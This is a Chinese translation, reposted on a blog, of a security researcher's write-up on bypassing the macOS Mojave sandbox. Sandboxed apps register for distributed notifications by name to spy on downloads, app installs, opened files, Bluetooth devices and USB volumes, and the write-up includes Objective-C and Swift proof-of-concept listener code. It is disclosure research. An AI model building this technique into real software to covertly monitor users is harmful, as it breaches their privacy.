如何绕过Mojave沙箱限制

2019-04-04 约 4234 字 预计阅读 9 分钟

声明:本文 【如何绕过Mojave沙箱限制】 由作者 红烧臭皮蛋 于 2018-12-07 09:19:00 首发 先知社区 曾经 浏览数 3223 次

感谢 红烧臭皮蛋 的辛苦付出!

如何绕过Mojave沙箱限制

原文:https://objective-see.com/blog/blog_0x39.html

0x00 概述

在本文中,我将详细介绍一个微不足道的隐私问题,尽管苹果公司已经试图解决这个问题(力度并不大),但沙箱应用程序还是可以通过这些技术暗中监视毫无戒心的用户,这些技术甚至能在最新版本的macOS系统上使用!

注意:这个问题最早在Objective-See的Mac安全会议上公布,相关议题为Objective by the Sea。本文更深入地探讨了相关技术细节。演讲文稿请参考Protecting the Garden of Eden

0x01 背景

从安全和隐私的角度来看,沙箱是一个很好的解决办法。 在正确设计和实现的沙箱的约束下,应用程序会在很多方面受到各种限制。例如,除了其他各种限制之外,应用程序不能任意访问用户文件(比如用户图片或下载文件)、捕获用户键盘输入信息或破坏操作系统。这真是极好的事情。

当然,任何沙箱在实现上都会有其缺陷,导致恶意应用程序能够完全“逃离”沙箱,或者虽然仍然在沙箱中,但可以绕过某些特定的沙箱约束。在这篇文章中,我们阐述的是后一种情况,也就是略微绕过Apple在“分布式通知”方面的沙箱限制,获取沙箱外部环境的一些信息,监控(某些)用户隐私操作和操作系统行为。

OSX/macOS允许应用或系统组件“跨越任务边界”来广播通知。由于这些事件通过DistributedNotificationCenter类进行广播,因此我们通常将其称为“分布式通知”。根据分布式通知类的文档中的描述,Apple声明此类是“一种通知调度机制,可以跨任务边界广播通知”。

更具体一点:

DistributedNotificationCenter实例会广播NSNotification对象,将其广播到已注册到默认分布式通知中心的其他任务中的对象。

在下文中我们很快就会看到,一旦任何时候应用程序、程序和系统守护进程在全局广播各种通知,只要我们注册一个全局分布式通知监听器,就可以了解到关于系统以及用户的很多信息,这一点非常有趣。

为了全局注册以便接收所有分布式通知,我们只需调用CFNotificationCenterAddObserver函数,将name参数设置为nil即可(如下所示)。这样只要目标广播分布式通知,系统就会调用我们指定的回调函数。

代码如下所示,我们注册了一个全局分布式通知监听器(注意:name参数值为nil,表明我们想要监听所有通知):

//callback
// invoked anytime anybody broadcasts a notification
static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, 
                     const void *object, CFDictionaryRef userInfo)
{
    NSLog(@"event: %@", (__bridge NSString*)name_cf);
    NSLog(@"user info: %@", userInfo);
    NSLog(@"object: %@", (__bridge id)object);

    return;
}


int main(int argc, const char * argv[]) 
{
   //register for distributed notifications
   // note: as name is nil, this means "all"
   CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil, callback, 
     nil, nil, CFNotificationSuspensionBehaviorDeliverImmediately);

   [[NSRunLoop currentRunLoop] run];

   return 0;
}

注意:我们也可以通过NSDistributedNotificationCenter方法来全局注册,以接收所有分布式通知:

- (void)addObserver:(id)observer 
           selector:(SEL)selector 
               name:(NSNotificationName)name 
             object:(NSString *)object 
 suspensionBehavior:(NSNotificationSuspensionBehavior)suspensionBehavior;

如果我们编译并执行以下代码,就可以开始观察各种系统事件,例如屏幕锁定及解锁、屏幕保护程序启动及停止、蓝牙活动、网络活动和用户文件下载:

$ ./sniffsniff

2018-11-19 20:54:08.244963-1000 sniffsniff[50098:11034854] event: com.apple.screenIsLocked
2018-11-19 20:54:08.244994-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:54:08.245039-1000 sniffsniff[50098:11034854] object: 501

2018-11-19 20:54:11.150683-1000 sniffsniff[50098:11034854] event: com.apple.screenIsUnlocked
2018-11-19 20:54:11.150727-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:54:11.150751-1000 sniffsniff[50098:11034854] object: 501

2018-11-19 20:55:00.033848-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didlaunch
2018-11-19 20:55:00.033882-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:55:00.033898-1000 sniffsniff[50098:11034854] object: (null)
2018-11-19 20:55:00.414571-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstart
2018-11-19 20:55:00.414663-1000 sniffsniff[50098:11034854] user info: {
    runFromPref = 0;
}

2018-11-19 20:55:02.744793-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.willstop
2018-11-19 20:55:02.744831-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:55:02.744843-1000 sniffsniff[50098:11034854] object: (null)

2018-11-19 20:55:02.760187-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstop
2018-11-19 20:55:02.760292-1000 sniffsniff[50098:11034854] user info: {
    runFromPref = 0;
}
2018-11-19 20:55:02.760312-1000 sniffsniff[50098:11034854] object: (null)

2018-11-19 20:55:15.733963-1000 sniffsniff[50098:11034854] event: IOBluetoothDeviceDisableScan
2018-11-19 20:55:15.733993-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:55:15.734011-1000 sniffsniff[50098:11034854] object: (null)

2018-11-19 20:56:15.720241-1000 sniffsniff[50098:11034854] event: com.apple.CFNetwork.CookiesChanged.2e3972d12eadbbbef05326fe6f5f0c3e1c05bdcc
2018-11-19 20:56:15.720292-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 20:56:15.720307-1000 sniffsniff[50098:11034854] object: (null)

2018-11-19 21:01:12.870597-1000 sniffsniff[50098:11034854] event: com.apple.DownloadFileFinished
2018-11-19 21:01:12.870626-1000 sniffsniff[50098:11034854] user info: (null)
2018-11-19 21:01:12.870641-1000 sniffsniff[50098:11034854] object: /Users/patrick/Downloads/LuLu_1.1.2.zip

注意:CFDictionaryRef userInfo以及const void *object的值取决于具体通知。比如,对于com.apple.DownloadFileFinished通知,object参数会包含已下载的文件名。

按照Apple的设计,注册这样一个全局监听器并不需要特殊的权限,这一点非常好。但是,在沙箱的上下文中,系统显然不应该传递这类的通知(发送到沙箱的全局侦听器),因为至少从隐私的角度来看,这显然违反了沙箱隔离的基本概念。

0x02 沙箱中的分布式通知

Apple明确(并且正确地)认识到一点,从隐私(也可能是安全性)的角度来看,沙箱应用程序不应该能够获取全局分布式通知。因此,如果沙箱应用尝试注册全局分布式通知,那么操作系统沙箱应该严格阻止此操作:

$ ./sniffsniff

2018-11-19 21:21:41.202420-1000 sniffsniff[50388:11098618] *** attempt to register for all distributed notifications thwarted by sandboxing.

Date/Time:     Mon Nov 19 21:21:41 2018
OS Version:    18B75
Application:   sniffsniff

Backtrace:
0   CoreFoundation      0x00007fff3c082c46 __CFGenerateReport + 197
1   CoreFoundation      0x00007fff3c015f43 __CFXNotificationRegisterObserver + 1035
2   CoreFoundation      0x00007fff3bef1af2 _CFXNotificationRegisterObserver + 14
3   Foundation          0x00007fff3e28845a -[NSDistributedNotificationCenter 
                        addObserver:selector:name:object:suspensionBehavior:] + 233
4   Foundation          0x00007fff3e28836b -[NSDistributedNotificationCenter 
                        addObserver:selector:name:object:] + 29
5   sniffsniff          0x000000010000125e -[AppDelegate applicationDidFinishLaunching:] + 142

很好,看来Apple的macOS沙箱的确在尝试阻止(在沙箱中运行的)恶意应用程序全局嗅探分布式通知,如上输出和环境中的提示信息:*** attempt to register for all distributed notifications thwarted by sandboxing

那么是否一切正常?

不幸的是,事实与Apple公司的愿望相反。换句话说,这个机制并没有经过深思熟虑。虽然系统试图阻止从应用沙箱中接收(全局)分布式通知,但我们还是能找到解决办法,如下问所述。

0x03 在macOS沙箱中全局嗅探分布式通知

已打全补丁的Mojave系统(可能拓展到其他版本的macOS)无法充分阻止沙箱应用程序接收分布式通知(其中可能包含敏感信息)。尽管Apple会阻止这类应用程序注册全局接收分布式通知接收器(即将name参数设置为nil),但没有采取其他措施阻止沙箱应用通过名称(例如com.apple.DownloadFileFinished)来注册接收任何通知。 因此,恶意应用可以直接通过名称来注册任何(或者所有?)分布式通知,从而轻而易举地避开Apple对沙箱的限制。虽然这个操作需要一些额外的代码行,但最终任何应用程序都可以通过多次注册,接收(捕获)所有分布式通知,即使位于沙箱中也能完成这个任务!

我们来看一个例子。 假设恶意应用程序想要监视用户下载行为。如果恶意应用运行在macOS沙箱的上下文中,那么通常这是严格禁止的行为。这一点非常正常,根据定义,沙箱的功能就是提供隔离环境,保护用户的安全和隐私。

然而,通过名称来注册接收com.apple.DownloadFileFinished分布式通知,(沙箱)应用程序仍然可以秘密监视用户下载的所有文件:

首先,让我们确保我们的恶意应用程序(sniffsniff)的确在沙箱中运行:

然后,让我们编写一些代码来监听com.apple.DownloadFileFinished分布式通知:

static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, const void *object, CFDictionaryRef userInfo)
{
    NSLog(@"event: %@", (__bridge NSString*)name_cf);
    NSLog(@"user info: %@", userInfo);
    NSLog(@"object: %@", (__bridge id)object);

    return;
}


- (void)applicationDidFinishLaunching:(NSNotification *)aNotification {

    NSString* name = @"com.apple.DownloadFileFinished";  
    CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil, 
      callback, (CFStringRef)name, nil, CFNotificationSuspensionBehaviorDeliverImmediately);
}

从macOS沙箱中运行sniffsniff,可以发现即使是打全补丁的Mojave环境中,我们也能偷偷监控用户的下载行为:

./sniffsniff
2018-11-22 12:50:38.175 sniffsniff[93641:15431613] event: com.apple.DownloadFileFinished
2018-11-22 12:50:38.175 sniffsniff[93641:15431613] user info: (null)
2018-11-22 12:50:38.175 sniffsniff[93641:15431613] object: /Users/user/Downloads/thePeeTapes.mov

注意:com.apple.DownloadFileFinished分发通知似乎仅会广播从用户浏览器下载的文件进。然而,这竟然包括以隐身模式下载的内容!

现在,重要的是要注意一点,虽然我们现在可以在沙箱中监视用户下载行为,但由于其他沙箱限制规则,我们实际上无法读取此类文件的内容,然而文件名本身可能已经告诉我们一些信息。

由于我们必须通过名称来注册每个通知(为了规避沙箱保护),那么问题来了,我们要如何确定感兴趣的通知的名称(即com.apple.DownloadFileFinished等)。虽然可能有一个 更全面的解决方案,但我选择简单的方法,为所有分布式通知安装一个全局监听器(当然这必须在沙箱之外完成),然后只需观察通知名称即可。返回沙箱环境,限制我们可以注册任何感兴趣的通知(通过名称技巧)。

虽然我们可以使用前文提供的代码,但这里我使用了Digita Security提供的更为强大的功能:MonitorKit(即将发布的一个框架)。由于这个框架包含一个全局分布式通知的监视器,因此我们可以在几行代码中激活监视器,开始接收所有广播分发通知的名称:

import Cocoa
import MonitorKit

@NSApplicationMain
class AppDelegate: NSObject, NSApplicationDelegate {

    func applicationDidFinishLaunching(_ aNotification: Notification) {

        //call into MonitorKit
        // enable 'distributed notifications' monitor
        let monitor = DistributedNotifcationsMonitor()
        monitor.start() { event in

            print("event: ", event.name.rawValue)

            if let userInfo = event.userInfo {
                print("event info: ", userInfo)
            }

            if let object = event.object {
                print("event object: ", object)
            }    
        }
    }
}

注意:这是Swift代码。

执行此代码后,我们可以得到一些有趣的分布式通知(恶意沙箱应用程序可以注册这些通知来观察外部消息):

  • 新安装的应用:com.apple.LaunchServices.applicationRegistered
event info:  [AnyHashable("bundleIDs"): <__NSArrayM 0x600000c57bd0>(
com.objective-see.KnockKnock)
  • 已打开的源代码文件:com.apple.dt.Xcode.notification.IDEEditorCoordinatorDistributedDidCompleteNotification
event info:  [AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.fileURL"): /Users/patrick/Documents/GitHub/DoNotDisturb/launchDaemon/launchDaemon/Lid.m, AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.reporterClass"): _IDEOpenRequest]
  • 正在使用的应用:com.apple.sharedfilelist.change
event info:  [AnyHashable("originatorAuditToken"): ]
event object:  com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.ichat

event info:  [AnyHashable("originatorAuditToken"): ]
event object:  com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.textedit
  • 已加载的内核扩展:Loaded Kext Notification
KextArrayKey =  (
            "com.apple.message.bundleID" = "com.objective-see.lulu";
            "com.apple.message.kextname" = "LuLu.kext";
            "com.apple.message.kextpath" = "/Library/Extensions/LuLu.kext";
            "com.apple.message.signaturetype" = "3rd-party kext with devid+ certificate";)
  • 已下载的文件:com.apple.DownloadFileFinished
event object: /Users/patrick/Downloads/LuLu_1.1.2.zip
  • HID设备:com.apple.MultitouchSupport.HID.DeviceAdded
event info:  [AnyHashable("Device ID"): 288230377351874764, AnyHashable("Surface Width mm"): 130, AnyHashable("Device Type"): Trackpad, AnyHashable("SupportsActuation"): 0, AnyHashable("Built-in"): 0, AnyHashable("SupportsForce"): 0, AnyHashable("Surface Height mm"): 110, AnyHashable("Opaque"): 1]
  • 蓝牙设备:com.apple.bluetooth.status
event info:  [AnyHashable("A2DP_CONNECTED_DEVICES"): 1, AnyHashable("PAGEABLE"): 2, AnyHashable("POWER_STATE"): 1, AnyHashable("ADDRESS"): 8c-85-90-14-95-11, AnyHashable("ESTIMATED_BANDWIDTH_UTILIZATION"): 65, AnyHashable("ACL_CONNECTION_COUNT"): 2, AnyHashable("HARDWARE_NAME"): 15, AnyHashable("CONNECTED_DEVICES"): <__NSArrayM 0x600000c0bf60>(
{
    ADDRESS = "60-c5-47-89-08-cc";
    NAME = "Apple Trackpad";
    "PRODUCT_ID" = 782;
    "SNIFF_ATTEMPTS" = 2;
    "VENDOR_ID" = 1452;
},
{
    ADDRESS = "04-52-c7-77-0d-4e";
    NAME = "Bose QuietComfort 35";
    "PRODUCT_ID" = 16396;
    "SNIFF_ATTEMPTS" = 1;
    "VENDOR_ID" = 158;
},
{
    ADDRESS = "34-88-5d-6b-5b-49";
    NAME = "Logitech K811";
    "PRODUCT_ID" = 45847;
    "SNIFF_ATTEMPTS" = 1;
    "VENDOR_ID" = 1133;
})
  • 卸载卷(USB等):com.apple.unmountassistant.process.start
event info:  [AnyHashable("VolumeURL"): file:///Volumes/TSSCI_USB/, AnyHashable("VolumeRefNum"): -108]

注意:这并不是完整的分布式通知名称列表,大家可以继续挖掘。

0x04 总结

macOS沙箱的功能非常明确,就是用来防止沙箱应用程序深入了解用户和系统操作隐私数据。Apple清楚地意识到全局分布式通知监听器可能会破坏这些设计目标,因而会尝试阻止这类行为:

*** attempt to register for all distributed notifications thwarted by sandboxing.

不幸的是,Apple的尝试并没有真正起作用,因此无法避免这种情况(这种情况非常正常)。只要简单地使用名称来注册通知,沙箱应用程序就可以不断注册,最终接收(捕获)所有分布式通知。 使用这种方法,沙箱应用就可以违反核心沙箱原则,通过执行以下操作来破坏用户的隐私:跟踪新应用程序的安装、监视正在使用的各种文件和应用程序、跟踪已加载的文件夹、观察用户下载行为等等。

虽然如此,(从我个人角度来看)这个问题本身并不构成安全漏洞,但显然违反了macOS沙箱的设计目标,因此Apple肯定会再次尝试修复这个问题。

关键词:[‘技术文章’, ‘翻译文章’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now